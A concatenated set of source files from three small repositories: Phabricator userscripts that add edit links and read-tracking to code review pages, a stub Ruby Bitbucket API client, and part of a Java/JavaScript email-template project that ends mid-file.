yungsters/phabricator-scripts sublime-text-edit-links.user.js ```// ==UserScript== // @name Phabricator: Sublime Text Edit Links // @version 1.1.7 // @description Adds "Edit" links (to Sublime Text) next to file paths. // @match https://secure.phabricator.com/* // @match https://phabricator.fb.com/* // ==/UserScript== // Configuration... var localPath = '/Volumes/dev/www/'; function inject(callback) { var script = document.createElement('script'); script.textContent = '(' + callback.toString() + ')();'; document.body.appendChild(script); } function $A(obj) { return Array.prototype.slice.call(obj); } function gc(el, className) { return $A(el.getElementsByClassName(className)); } function gt(el, tagName) { return $A(el.getElementsByTagName(tagName)); } function $S(inline_styles) { var style = document.createElement('style'); style.innerHTML = inline_styles; document.body.appendChild(style); } $S( 'div.buoyant {' + 'font-size: 14px;' + '}' + 'div.buoyant a {' + 'color: #fff;' + '}' ); function cleanPath(path) { var parts = path.split('www/'); if (parts.length > 1) { return parts.splice(1).join('www/'); } else { return parts[0]; } } var baseURL = 'subl://open/?url=file://'; function getLink(path, line) { var link = baseURL + localPath + cleanPath(path); if (line) { link += '&line=' + line; } return link; } function createEditLink(path, wrap) { var link = document.createElement('a'); link.setAttribute('data-sigil', 'prevent'); link.href = getLink.apply(null, path.split(':')); link.innerHTML = 'Edit'; link.style.padding = '0 0.25em'; if (wrap) { var span = document.createElement('span'); span.innerHTML = '&nbsp;&middot&nbsp;'; span.appendChild(link); link = span; } return link; } // Differential: Inline Comments gc(document, 'differential-inline-summary').forEach(function(table) { gt(table, 'th').forEach(function(th) { th.appendChild(createEditLink(th.innerHTML, true)); }); }); // Differential: Table of Contents gc(document, 'differential-toc').forEach(function(toc) { gc(toc, 'differential-toc-file').forEach(function(td) { gt(td, 'a').forEach(function(a) { td.appendChild(createEditLink(a.innerHTML, true)); }); }); }); // Differential: Changesets gc(document, 'differential-changeset').forEach(function(changeset) { gt(changeset, 'h1').forEach(function(h1) { h1.appendChild(createEditLink(h1.textContent, true)); }); }); // Diffusion: File Table View gc(document, 'aphront-table-view').forEach(function(table) { var trs = gt(table, 'tr'); if (trs[0] && gt(trs[0], 'th')[0].innerHTML === 'ID') { return; } trs.forEach(function(tr, i) { if (i) { var tds = gt(tr, 'td'); var td = document.createElement('td'); var a = gt(tds[3], 'a')[0]; if (a) { td.appendChild(createEditLink(a.innerHTML)); tr.insertBefore(td, tds[3]); } } else { var ths = gt(tr, 'th'); var th = document.createElement('th'); th.innerHTML = 'T.M.'; if (ths[3].innerHTML.trim() === 'Path') { tr.insertBefore(th, ths[3]); } } }); }); // Differential: Sticky Headers document.addEventListener('scroll', function() { var header = gc(document, 'buoyant')[0]; if (header && header.childNodes.length < 2) { header.appendChild(createEditLink(header.innerHTML, true)); } }, false); inject(function() { JX.Stratcom.listen('click', 'prevent', function(event) { event.stop(); }); }); ``` README.md ```phabricator-scripts =================== User scripts for use with Phabricator.``` simple-differential.user.js ```// ==UserScript== // @name Phabricator: Simple Differential // @version 0.2.1 // @description Makes Differential... simpler. // @match https://secure.phabricator.com/* // @match https://phabricator.fb.com/* // ==/UserScript== function injectJS(callback) { var script = document.createElement('script'); script.textContent = '(' + callback.toString() + ')(window);'; document.body.appendChild(script); } function injectStyles(styles) { var style = document.createElement('style'); style.innerHTML = styles; document.body.appendChild(style); } // Courtesy of BootstrapCDN. // injectCSS('//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css'); var spriteURL = '//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/img/glyphicons-halflings.png'; injectStyles( '.glyph {' + 'display: inline-block;' + 'width: 14px;' + 'height: 14px;' + '*margin-right: .3em;' + 'line-height: 14px;' + 'vertical-align: text-top;' + 'background-image: url("' + spriteURL + '");' + 'background-position: 14px 14px;' + 'background-repeat: no-repeat;' + 'margin-top: 1px;' + '}' + '.glyph.glyph-list-alt {' + 'background-position: -264px -24px;' + '}' + '.glyph.glyph-user {' + 'background-position: -168px 0;' + '}' + '.glyph.glyph-gray {' + 'opacity: 0.5;' + '}' ); injectStyles( '.phui-object-item-name .phui-object-item-byline {' + 'color: #777;' + 'display: inline;' + 'font-weight: normal;' + '}' + '.phui-has-tooltip {' + 'cursor: default;' + '}' + '.phui-simple-item .phui-object-icon-pane {' + 'width: auto;' + '}' + '.phui-simple-item.phui-object-item.phui-object-item {' + 'margin-bottom: -1px;' + '}' + '.phui-simple-item.phui-object-item .phui-object-item-frame {' + 'min-height: 29px;' + '}' + '.phui-simple-item:last-child {' + 'margin-bottom: 3px;' + '}' + '.phui-simple-item:last-child .phui-object-item-frame {' + 'margin-bottom: 0;' + '}' + '.phui-object-item-icon-label .glyph {' + 'margin-top: -1px;' + 'vertical-align: text-top;' + '}' + '.inline-land-button.inline-land-button a {' + 'margin-top: -3px;' + 'margin-right: 6px;' + 'line-height: 21px;' + '}' ); injectJS(function(global) { /* UTILITIES */ function $(selector, start) { return (start || document).querySelector(selector); } function $$(selector, start) { return JX.$A((start || document).querySelectorAll(selector)); } function setNodeTooltip(node, tooltip, alignment) { JX.Stratcom.addSigil(node, 'has-tooltip'); JX.Stratcom.addData(node, { align: alignment || 'W', size: 300, tip: tooltip }); JX.DOM.alterClass(node, 'phui-has-tooltip', true); } /* INIT */ // Use `#complex` to disable these changes. if (global.location.hash === '#complex') { return; } var statusToColor = { 'Abandoned': '#222', 'Accepted': '#096', 'Closed': '#069', 'Needs Revision': '#a00' }; $$('.phui-object-item').forEach(function(itemNode) { var attributeList = $$('.phui-object-item-attribute', itemNode); var bylineNode = $('.phui-object-item-byline', itemNode); var bylinesNode = $('.phui-object-item-bylines', itemNode); var contentNode = $('.phui-object-item-content', itemNode); var nameNode = $('.phui-object-item-name', itemNode); var objNameNode = $('.phui-object-item-objname', itemNode); var iconLabelNode = $('.phui-object-item-icon-label', itemNode); JX.DOM.alterClass(itemNode, 'phui-simple-item', true); if (bylinesNode) { bylinesNode.parentNode.removeChild(bylinesNode); } if (bylineNode && nameNode) { bylineNode.firstChild.textContent = ' by '; nameNode.appendChild(bylineNode); } var attributeListIndex = 0; // Filter out the "Project" attribute. attributeList = attributeList.filter(function(attributeNode) { var maybeProject = attributeNode.lastChild; if (maybeProject && maybeProject.nodeType === Node.TEXT_NODE) { return !maybeProject.textContent.match(/^Project: /); } return true; }); // Filter out the "Land Button" attribute. var landButton = null; attributeList = attributeList.filter(function(attributeNode) { var maybeLandButton = attributeNode.lastChild; if (maybeLandButton && maybeLandButton.nodeName === 'SPAN' && maybeLandButton.className.match(/^land-button-/)) { landButton = maybeLandButton; return false; } return true; }); if (landButton) { JX.DOM.alterClass(landButton, 'inline-land-button', true); JX.DOM.prependContent(nameNode, landButton); } var pendingCommentNode = attributeList[attributeListIndex]; var pendingCommentIconNode = $('.icons-file-grey', pendingCommentNode); if (pendingCommentIconNode) { attributeListIndex++; } var itemStatus = 'Unknown'; var itemStatusNode = attributeList[attributeListIndex]; if (itemStatusNode) { // Sometimes the status node might have a spacer in it. var maybeItemStatus = itemStatusNode.lastChild; if (maybeItemStatus && maybeItemStatus.nodeType === Node.TEXT_NODE) { itemStatus = maybeItemStatus.textContent; var statusColor = statusToColor[itemStatus]; if (statusColor) { itemNode.style.borderColor = statusColor; } attributeListIndex++; } } setNodeTooltip(objNameNode, itemStatus); var reviewerNames = []; var reviewersNode = attributeList[attributeListIndex++]; if (reviewersNode) { reviewerNames = $$('.phui-link-person', reviewersNode) .map(function(reviewerNode) { return reviewerNode.textContent; }); } var loc = '?'; var locAttributeNode = attributeList[attributeListIndex++]; if (locAttributeNode) { var locMatch = locAttributeNode.textContent.match(/[0-9,]+/); if (locMatch) { loc = locMatch[0]; } } if (iconLabelNode) { var labelSpacerNode = JX.$N( 'span', {className: 'phui-object-item-icon-label'}, JX.$H(' &middot; ') ); var reviewerNode = JX.$N('span', ' ' + reviewerNames.length); JX.DOM.prependContent( reviewerNode, JX.$N('span', { className: 'glyph glyph-gray glyph-user' }) ); setNodeTooltip(reviewerNode, reviewerNames.join(', ')); var locNode = JX.$N('span', ' ' + loc); JX.DOM.prependContent( locNode, JX.$N('span', { className: 'glyph glyph-gray glyph-list-alt' }) ); [ pendingCommentIconNode, reviewerNode, locNode ].forEach(function(node) { if (!node) { return; } // This class gets hidden on narrow viewports. JX.DOM.alterClass(node, 'phui-object-item-icon-label', true); iconLabelNode.parentNode.insertBefore(node, iconLabelNode); iconLabelNode.parentNode.insertBefore( labelSpacerNode.cloneNode(true), iconLabelNode ); }); } if (contentNode) { contentNode.parentNode.removeChild(contentNode); } }); }); ``` sticky-differential-headers.user.js ```// ==UserScript== // @name Phabricator: Sticky Differential Headers // @version 1.1.0 // @description Changes filenames in Differential into sticky headers. // @match https://secure.phabricator.com/* // @match https://phabricator.fb.com/* // ==/UserScript== function injectJS(callback) { var script = document.createElement('script'); script.textContent = '(' + callback.toString() + ')(window);'; document.body.appendChild(script); } function injectStyles(styles) { var style = document.createElement('style'); style.innerHTML = styles; document.body.appendChild(style); } injectStyles( '.fake-header {' + 'display: none;' + '}' + '.current-changeset .fake-header {' + 'display: block;' + 'height: 27px;' + '}' + '.current-changeset h1 {' + 'position: fixed;' + 'top: 0;' + 'background: #fff;' + 'padding: 5px 10px !important;' + 'box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.5);' + '}' ); injectJS(function(global) { /* UTILITIES */ function $(selector, start) { return (start || document).querySelector(selector); } function $$(selector, start) { return JX.$A((start || document).querySelectorAll(selector)); } /* INIT */ $$('.differential-changeset').forEach(function(changeSet) { var h1 = $('h1', changeSet); var fakeHeader = JX.$N('div', {className: 'fake-header'}); h1.parentNode.insertBefore(fakeHeader, h1); }); var fixedChangeSet = null; function shouldFixChangeSet(changeSet) { return global.scrollY > changeSet.offsetTop - 10; } function fixChangeSet(changeSet) { if (changeSet !== fixedChangeSet) { unfixChangeSet(); fixedChangeSet = changeSet; fixedChangeSet.className += ' current-changeset'; } } function unfixChangeSet() { if (fixedChangeSet) { JX.DOM.alterClass(fixedChangeSet, 'current-changeset', false); fixedChangeSet = null; } } global.addEventListener('scroll', function() { var changeSets = $$('.differential-changeset'); // Iterate in reverse to find the last changeset that should be fixed. var i = changeSets.length; while (i--) { var changeSet = changeSets[i]; if (shouldFixChangeSet(changeSet)) { fixChangeSet(changeSet); return; } } // If we get here, no changesets should be fixed. unfixChangeSet(); }, false); }); ``` commit-address.user.js ```// ==UserScript== // @name Phabricator: Commit Addresses // @version 0.1.0 // @description Adds diff commits (if any) to the address bar. // @match https://secure.phabricator.com/* // @match https://phabricator.fb.com/* // ==/UserScript== function injectJS(callback) { var script = document.createElement('script'); script.textContent = '(' + callback.toString() + ')(window);'; document.body.appendChild(script); } injectJS(function(global) { /* UTILITIES */ function $(selector, start) { return (start || document).querySelector(selector); } function $$(selector, start) { return JX.$A((start || document).querySelectorAll(selector)); } /* INIT */ if (document.location.hash) { return; } var commit; var commitDT = $$('.phui-property-list-properties .phui-property-list-key') .find(function(dt) { return dt.textContent.includes('Commits'); }); if (commitDT) { var commitLink = $('.phui-handle', commitDT.nextSibling); if (commitLink) { commit = commitLink.getAttribute('href').replace(/^\/+/, ''); } } if (commit) { history.replaceState({}, '', '#' + commit); } }); ``` mark-diffs-as-read.user.js ```// ==UserScript== // @name Phabricator: Mark Diffs as Read // @version 0.4.2 // @description Adds a "Mark as Read" toggle to diffs in Phabricator // @match https://secure.phabricator.com/* // @match https://phabricator.fb.com/* // ==/UserScript== function injectJS(callback) { var script = document.createElement('script'); script.textContent = '(' + callback.toString() + ')(window);'; document.body.appendChild(script); } function injectStyles(styles) { var style = document.createElement('style'); style.innerHTML = styles; document.body.appendChild(style); } // Courtesy of BootstrapCDN. // injectCSS('//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css'); var spriteURL = '//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/img/glyphicons-halflings.png'; injectStyles( '.glyph {' + 'display: inline-block;' + 'width: 14px;' + 'height: 14px;' + '*margin-right: .3em;' + 'line-height: 14px;' + 'vertical-align: text-top;' + 'background-image: url("' + spriteURL + '");' + 'background-position: 14px 14px;' + 'background-repeat: no-repeat;' + 'margin-top: 1px;' + '}' + '.glyph.glyph-eye-close {' + 'background-position: -120px -120px;' + '}' + '.glyph.glyph-eye-open {' + 'background-position: -96px -120px;' + '}' + '.glyph.glyph-gray {' + 'opacity: 0.5;' + '}' ); injectStyles( '.hidden-row {' + 'display: none;' + '}' + '.phui-object-item-icon-label .glyph.hide-icon {' + 'border: 1px solid transparent;' + 'cursor: pointer;' + 'margin: -2px 0 0 4px;' + 'vertical-align: text-top;' + '}' + '.hide-control {' + 'color: #74777D;' + 'line-height: 25px;' + 'position: absolute;' + 'right: 33px;' + '}' + '.hide-control input {' + 'display: inline-block;' + 'width: auto;' + '}' + '.show-hidden-rows .hidden-row {' + 'display: block;' + 'opacity: 0.5;' + '}' + '.show-hidden-rows .hide-icon {' + 'visibility: visible;' + '}' + '.all-hidden-view {' + 'border: 1px solid #c7ccd9;' + 'border-bottom: 1px solid #a1a6b0;' + 'background-color: #fff;' + 'color: #6b748c;' + 'margin: 4px 0 8px 0;' + '}' + '.all-hidden-view-body {' + 'color: #6b748c;' + 'padding: 12px;' + '}' + '.show-hidden-rows .all-hidden {' + 'display: none;' + '}' ); injectJS(function(global) { /* UTILITIES */ function $(selector, start) { return (start || document).querySelector(selector); } function $$(selector, start) { return JX.$A((start || document).querySelectorAll(selector)); } var ScriptStorage = global.ScriptStorage = { subscribe: function(key, callback) { var handleStorageChange = function(event) { if (event.key === key) { callback(event); } }; window.addEventListener('storage', handleStorageChange, false); return { unsubscribe: function() { if (handleStorageChange) { window.removeEventListener('storage', handleStorageChange, false); handleStorageChange = null; } } }; }, get: function(key) { var item; try { item = JSON.parse(localStorage.getItem(key)); } catch (e) {} return item && typeof item === 'object' ? item : {}; }, set: function(key, item) { localStorage.setItem(key, JSON.stringify(item)); } }; /* INIT */ (function() { var submitControls = $( '.aphront-list-filter-view .aphront-list-filter-reveal' ); if (submitControls) { var checkbox = JX.$N('input', {type: 'checkbox', sigil: 'toggle-hide'}); JX.DOM.prependContent( submitControls, JX.$N('div', {className: 'hide-control'}, [ JX.$N( 'label', {htmlFor: JX.DOM.uniqID(checkbox)}, 'Show Read Diffs ' ), checkbox ]) ); } })(); function flushStorageToView() { var hiddenDiffs = ScriptStorage.get('hiddendiffs'); /** * List View */ $$('.phui-object-item-list-view').forEach(function(listView) { var rows = JX.DOM.scry(listView, 'li'); var hasRows = false; var isEmpty = true; rows.filter(function(row) { return row.parentNode === listView; }).forEach(function(row, index) { var diffIDNode = $$('.phui-object-item-objname', row)[0]; var timeNode = JX.DOM.scry(row, 'span', 'time-label')[0]; if (!timeNode) { var labelNodes = $$('.phui-object-item-icon-label', row); if (labelNodes.length) { timeNode = labelNodes[labelNodes.length - 1]; JX.Stratcom.addSigil(timeNode, 'time-label'); } } if (!timeNode || !diffIDNode) { return; } var cellID = diffIDNode.textContent; var timeString = timeNode.textContent; var isHidden = hiddenDiffs[cellID] && hiddenDiffs[cellID] === timeString; if (!isHidden) { isEmpty = false; } hasRows = true; var hideLinkNode = JX.$N('i', { className: 'hide-icon glyph glyph-gray ' + ( isHidden ? 'glyph-eye-close' : 'glyph-eye-open' ), sigil: 'hide-link', meta: { isHidden: isHidden, cellID: cellID, time: timeString } }); var labelContainerNode = timeNode.parentNode; var prevLink = JX.DOM.scry(labelContainerNode, 'i', 'hide-link')[0]; if (prevLink) { JX.DOM.replace(prevLink, hideLinkNode); } else { var hideLabelNode = JX.$N( 'span', {className: 'phui-object-item-icon-label'}, hideLinkNode ); JX.DOM.appendContent(labelContainerNode, hideLabelNode); } JX.DOM.alterClass(row, 'hidden-row', isHidden); }); var emptyNode = $$('.all-hidden', listView)[0]; if (isEmpty && hasRows) { if (!emptyNode) { emptyNode = JX.$N('li', { className: 'all-hidden phabricatordefault-li' }, [ JX.$N('div', { className: 'all-hidden-view phabricatordefault-div' }, JX.$N('div', { className: 'all-hidden-view-body phabricatordefault-div' }, [ 'All revisions are marked as ', JX.$N('i', { className: 'hide-icon glyph glyph-gray glyph-eye-close' }), ' read.' ]) ) ]); } JX.DOM.appendContent(listView, emptyNode); } else { if (emptyNode) { JX.DOM.remove(emptyNode); } } }); /** * Diff View */ $$('.phui-header-subheader').forEach(function(headerNode) { var diffIDNode = $$('.phabricator-last-crumb .phabricator-crumb-name')[0]; var timeContainerNodes = $$('.phui-timeline-view .phui-timeline-extra'); var timeContainerNode = timeContainerNodes[timeContainerNodes.length - 1]; var timeNode = timeContainerNode.lastChild; if (!timeNode || !diffIDNode) { return; } var cellID = diffIDNode.textContent; var timeString = timeNode.textContent; var isHidden = hiddenDiffs[cellID] && hiddenDiffs[cellID] === timeString; var hideLinkNode = JX.$N('a', { className: 'mll policy-link phabricatordefault-a', sigil: 'hide-link', meta: { isHidden: isHidden, cellID: cellID, time: timeString } }, [ JX.$N('i', { className: 'msr hide-icon glyph glyph-gray ' + ( isHidden ? 'glyph-eye-close' : 'glyph-eye-open' ) }), isHidden ? 'Read' : 'Unread' ]); var prevLink = JX.DOM.scry(headerNode, 'a', 'hide-link')[0]; if (prevLink) { JX.DOM.replace(prevLink, hideLinkNode); } else { JX.DOM.appendContent(headerNode, hideLinkNode); } }); } JX.Stratcom.listen('mousedown', 'hide-link', function(event) { var hideLink = event.getNodeData('hide-link'); var cellID = hideLink.cellID; var updatedTime = hideLink.time; var hiddenDiffs = ScriptStorage.get('hiddendiffs'); if (hiddenDiffs[cellID] && hiddenDiffs[cellID] === updatedTime) { delete hiddenDiffs[cellID]; } else { hiddenDiffs[cellID] = updatedTime; } ScriptStorage.set('hiddendiffs', hiddenDiffs); flushStorageToView(); event.prevent(); }); JX.Stratcom.listen('change', 'toggle-hide', function(event) { var checkbox = event.getNode('toggle-hide'); JX.DOM.alterClass(document.body, 'show-hidden-rows', checkbox.checked); }); if (JX.Tooltip) { JX.Stratcom.listen( ['mouseover', 'mouseout', 'mousedown'], 'hide-link', function(event) { if (event.getType() === 'mouseover') { var isHidden = event.getNodeData('hide-link').isHidden; JX.Tooltip.show( event.getNode('hide-link'), 1000, 'W', isHidden ? 'Mark as Unread' : 'Mark as Read' ); } else { JX.Tooltip.hide(); } } ); } flushStorageToView(); ScriptStorage.subscribe('hiddendiffs', flushStorageToView); }); ``` toggle-flow-errors.user.js ```// ==UserScript== // @name Phabricator: Toggle Flow Errors // @version 0.0.2 // @description Allows toggling Flow errors on Phabricator diffs. // @match https://secure.phabricator.com/* // @match https://phabricator.fb.com/* // ==/UserScript== function injectJS(callback) { var script = document.createElement('script'); script.textContent = '(' + callback.toString() + ')(window);'; document.body.appendChild(script); } function injectStyles(styles) { var style = document.createElement('style'); style.innerHTML = styles; document.body.appendChild(style); } injectStyles( '.hidden-flow-error {' + 'display: none' + '}' + '.toggle-flow {' + 'margin-right: 12px;' + '}' ); injectJS(function(global) { /* UTILITIES */ function $(selector, start) { return (start || document).querySelector(selector); } function $$(selector, start) { return JX.$A((start || document).querySelectorAll(selector)); } /* INIT */ (function() { var updateHistoryFooter = $('.differential-update-history-footer'); if (updateHistoryFooter) { var toggleLink = JX.$N( 'button', { type: 'button', className: 'toggle-flow black phabricatordefault-button', sigil: 'toggle-flow', }, 'Hide Flow Errors' ); updateHistoryFooter.insertBefore( toggleLink, updateHistoryFooter.lastChild ); } })(); function forEachFlowError(callback) { $$('tr.inline').forEach(function(inlineRow) { var inlineLine = $('.differential-inline-comment-line', inlineRow); if (inlineLine.textContent.indexOf('Flow error:')) { callback(inlineRow); } }); } var hideFlowErrors = false; JX.Stratcom.listen('click', 'toggle-flow', function(event) { hideFlowErrors = !hideFlowErrors; var toggleLink = event.getNode('toggle-flow'); JX.DOM.alterClass(toggleLink, 'black', !hideFlowErrors); JX.DOM.alterClass(toggleLink, 'grey', hideFlowErrors); JX.DOM.setContent(toggleLink, hideFlowErrors ? 'Show Flow Errors' : 'Hide Flow Errors'); forEachFlowError(function(row) { JX.DOM.alterClass(row, 'hidden-flow-error', hideFlowErrors); }); event.prevent(); }); }); ```
yunheli/bitbucket_api
yunheli/bitbucket_api configuration.rb ```module Bitbucket class Configuration class << self def property(key, options={}) @keys ||= [] @keys << key class_eval do attr_accessor key unless options[:default].nil? define_method key do data = self.instance_variable_get("@#{key}") data ||= options[:default] data end end end end attr_reader :keys end property :client_id property :client_secret property :redirect_uri property :auto_pagination, default: true property :scope property :access_token property :refresh_token property :raw_data, default: false property :per_page, default: 100 property :page, default: 1 property :auto_refresh, default: true property :timeout, default: 30 end end``` user.rb ```module Bitbucket class User < Base # access_token def initialize(options={}) end def show end def email end end end``` constant.rb ```module Bitbucket # Your code goes here... module Contant BASE_URL="https://api.bitbucket.org/2.0" BASE_URL_1="https://api.bitbucket.org/1.0" DOMAIN="https://bitbucket.org/" end end``` base.rb ```module Bitbucket class Base attr_accessor *Configuration.keys def initialize(options={}) end end end``` bitbucket_api.rb ```require 'bitbucket/version' require 'bitbucket/configuration' module Bitbucket class << self def new(options) end def config @config ||= Configuration.new end def configure yield config if block_given? end end end ``` request.rb ```module Bitbucket module Util module Request def send_request(url, method, params = {}, timeout = 3) request_args = { :method => method, :headers => header, :timeout => timeout} full_url = "#{url}" if [:get, :delete].include?(method) unless full_url.include?("?") full_url += "?#{hash_to_query(params)}" else full_url += "&#{hash_to_query(params)}" end else # set post body request_args[:payload] = params end # set request url request_args[:url] = full_url # RestClient::Request.execute(request_args) request(request_args) end end # Convert hash to url query def hash_to_query(params) params_str = '' return params_str if params.nil? params.each do |k, v| params_str += "#{k}=#{v}&" end params_str.chomp('&') end def request(options) res, req, stat = nil, nil, nil begin res = ::RestClient::Request.execute(options) rescue Exception => e # ๅฆ‚ๆžœไธๆ˜ฏ่ฏทๆฑ‚้”™่ฏฏ็›ดๆŽฅๆŠ›ๅ‡บๆ ‡ๅ‡†้”™่ฏฏ unless e.respond_to?("response") end res = e.response end begin Oj.load(res.body, symbol_keys: true) rescue Exception => e res.body end end def header {Authorization: "Bearer #{access_token}"} end end end``` oauth.rb ```module Bitbucket class Oauth < Base def initialize(options={}) end def authorize end def access_token(code) end def refresh_token(refresh_token) end end end``` Gemfile ```source 'https://rubygems.org' gem 'oj' gem 'rest-client' # Specify your gem's dependencies in bitbucket_api.gemspec gemspec ```
yunjae830/project_ToMail
yunjae830/project_ToMail TestDto.java ```package com.tmail.board.Dto; import java.util.List; public class TestDto { private List<String> email; private String title; private String content; public List<String> getEmail() { return email; } public void setEmail(List<String> email) { this.email = email; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } @Override public String toString() { return "testDto [email=" + email + ", title=" + title + ", content=" + content + "]"; } }``` Address_GroupDto.java ```package com.tmail.board.Dto; import java.util.Date; import java.util.List; public class Address_GroupDto { private int group_seq; private String group_title; private Date group_date; private int members_seq; private int cnt; public void setMembers_seq(int members_seq) { this.members_seq = members_seq; } public int getGroup_seq() { return group_seq; } public void setGroup_seq(int group_seq) { this.group_seq = group_seq; } public String getGroup_title() { return group_title; } public void setGroup_title(String group_title) { this.group_title = group_title; } public Date getGroup_date() { return group_date; } public void setGroup_date(Date group_date) { this.group_date = group_date; } public int getMembers_seq() { return members_seq; } public void setMember_seq(int member_seq) { this.members_seq = member_seq; } public int getCnt() { return cnt; } public void setCnt(int cnt) { this.cnt = cnt; } @Override public String toString() { return "Address_GroupDto [group_seq=" + group_seq + ", group_title=" + group_title + ", group_date=" + group_date + ", members_seq=" + members_seq + ", cnt=" + cnt + "]"; } }``` MailboxDto.java ```package com.tmail.board.Dto; import java.util.Date; import java.util.List; public class MailboxDto { /* CREATE TABLE TBL_MAILBOX( BNO NUMBER, TEMPLATE VARCHAR2(100), EMAIL VARCHAR2(255), TITLE VARCHAR2(255), CONTENT VARCHAR2(2500), REGDATE DATE DEFAULT SYSDATE ); */ private int bno; private String email; private String template; private String title; private String content; private Date regdate; private List<String> recipient; private List<MailboxAttachDto> attachList; public MailboxDto() { super(); // TODO Auto-generated constructor stub } public MailboxDto(int bno, String template, String title, String content, Date regdate, List<MailboxAttachDto> attachList) { super(); this.bno = bno; this.template = template; this.title = title; this.content = content; this.regdate = regdate; this.attachList = attachList; } public int getBno() { return bno; } public void setBno(int bno) { this.bno = bno; } public String getTemplate() { return template; } public void setTemplate(String template) { this.template = template; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } public String getContent() { return content; } public void setContent(String content) { this.content = content; } public Date getRegdate() { return regdate; } public void setRegdate(Date regdate) { this.regdate = regdate; } public List<MailboxAttachDto> getAttachList() { return attachList; } public void setAttachList(List<MailboxAttachDto> attachList) { this.attachList = attachList; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public List<String> getRecipient() { return recipient; } public void setRecipient(List<String> recipient) { this.recipient = recipient; } } ``` template.js ```$(document).ready(function(){ var formObj = $("form"); $('button').on("click", function(e){ e.preventDefault(); var operation = $(this).data("oper"); if(operation === 'deleteMail') { if(confirm("Are you sure you want to delete this email?")){ formObj.attr("action", "/board/mailbox/deleteMail"); } else { return; } } else if(operation === 'getList') { formObj.attr("action", "/board/mailbox/getList").attr("method", "get"); var pageNumTag = $("input[name='pageNum']").clone(); var amountTag = $("input[name='amount']").clone(); var mnoTag = $("input[name='mno']").clone(); formObj.empty(); formObj.append(pageNumTag); formObj.append(amountTag); formObj.append(mnoTag) } formObj.submit(); }); $("#previewBtn").on("click", function(preview, callback, error){ console.log("preview btn clicked") var formObj = $("form"); var bno = "<c:out value='${mail.bno}'/>"; var mno = "<c:out value='${mail.mno}'/>"; var table = $("table"); var preview = { title1: table.find("input[name='title1']").val(), title2: table.find("textarea[name='title2']").val(), text1: table.find("textarea[name='text1']").val(), text2: table.find("textarea[name='text2']").val(), text3: table.find("textarea[name='text3']").val(), link1: table.find("input[name='link1']").val(), link2: table.find("input[name='link2']").val(), link3: table.find("input[name='link3']").val() } $.ajax({ type: 'put', url:"/board/mailbox/preview?bno="+bno+"&mno="+mno, data: JSON.stringify(preview), contentType: "application/json; charset=utf-8", success: function(result, status, xhr){ alert("updated!"); console.log(result); showPreview(); if(callback){ callback(result); } }, error: function(xhr, status, er){ if(error){ error(er); } } }); }); var table = $("table"); function showPreview(){ var bno = "<c:out value='${mail.bno}'/>"; var mno = "<c:out value='${mail.mno}'/>"; var title1 = $("input[name='title1']").val(); var title2 = $("input[name='title2'").val(); var text1 = $("textarea[name='text1']").val(); var text2 = $("textarea[name='text2']").val(); var text3 = $("textarea[name='text3']").val(); var link1 = $("input[name='link1']").val(); var link2 = $("input[name='link2']").val(); var link3 = $("input[name='link3']").val(); $.getJSON("/board/mailbox/showPreview",{bno:bno, mno:mno}, function(){ console.log("showPreview"); $(".title1").text(title1); $(".title2").text(title2); $(".text1").text(text1); $(".text2").text(text2); $(".text3").text(text3); $(".link1").attr('href', link1); $(".link2").attr('href', link2); $(".link3").attr('href', link3); }); }; });``` fileupload.js ```$(document).ready(function(){ var formObj = $("form"); $('button').on("click", function(e){ e.preventDefault(); var operation = $(this).data("oper"); if(operation === 'deleteMail') { if(confirm("Are you sure you want to delete this email?")){ formObj.attr("action", "/board/mailbox/deleteMail"); } else { return; } } else if(operation === 'getList') { formObj.attr("action", "/board/mailbox/getList").attr("method", "get"); var pageNumTag = $("input[name='pageNum']").clone(); var amountTag = $("input[name='amount']").clone(); var mnoTag = $("input[name='mno']").clone(); formObj.empty(); formObj.append(pageNumTag); formObj.append(amountTag); formObj.append(mnoTag) } else if(operation === 'updateMail') { console.log("submit clicked."); var str =""; $(".uploadResult ul li").each(function(i, obj){ var jobj = $(obj); console.dir(jobj); str += "<input type='hidden' name='attachList["+i+"].fileName' value='"+jobj.data("filename")+"'>"; str += "<input type='hidden' name='attachList["+i+"].uuid' value='"+jobj.data("uuid")+"'>"; str += "<input type='hidden' name='attachList["+i+"].uploadPath' value='"+jobj.data("path")+"'>"; str += "<input type='hidden' name='attachList["+i+"].fileType' value='"+jobj.data("type")+"'>"; }); formObj.append(str).submit(); } formObj.submit(); }); (function(){ var bno = "<c:out value='${mail.bno}'/>"; $.getJSON("/board/mailbox/getAttachList", {bno: bno}, function(arr){ console.log(arr); var str =""; $(arr).each(function(i, attach){ //image type if(attach.fileType){ var fileCallPath = encodeURIComponent(attach.uploadPath+"/s_"+attach.uuid+"_"+attach.fileName); str += "<li data-path='"+attach.uploadPath+"' data-uuid='"+attach.uuid+"' data-filename='"+attach.fileName+"' data-type='"+attach.fileType+"'>"; str += "<div>"; str += "<span>"+attach.fileName+"</span>"; str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='image'"; str += " class='btn btn-sm'> x </button><br/>"; str += "<img src='/board/upload/display?fileName="+fileCallPath+"'>"; str += "</div>"; str += "</li>"; } else { str += "<li data-path='"+attach.uploadPath+"' data-uuid='"+attach.uuid+"' data-filename='"+attach.fileName+"' data-type='"+attach.fileType+"'>"; str += "<div>"; str += "<span>"+attach.fileName+"</span>"; str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='file'"; str += " class='btn btn-sm'> x </button><br/>"; str += "<img src='/board/resources/attach.jpg'/>"; str += "</div>"; str += "</li>"; } }); // end each $(".uploadResult ul").html(str); }); // end getJSON })(); // end function() $(".uploadResult").on("click", "button", function(e){ console.log("delete file"); if(confirm("Are you sure you want to delete this file?")){ var targetLi = $(this).closest("li"); targetLi.remove(); } }); // end uploadResutl onclick var regex = new RegExp("(.*?)\.(exe|sh|zip|alz)$"); var maxSize = 5242880; function checkExtension(fileName, fileSize){ if(fileSize >= maxSize){ alert("too big"); return false; } if(regex.test(fileName)){ alert("invalid file name"); return false } return true; } // end checkExtension(); $("input[type='file']").change(function(e){ var formData 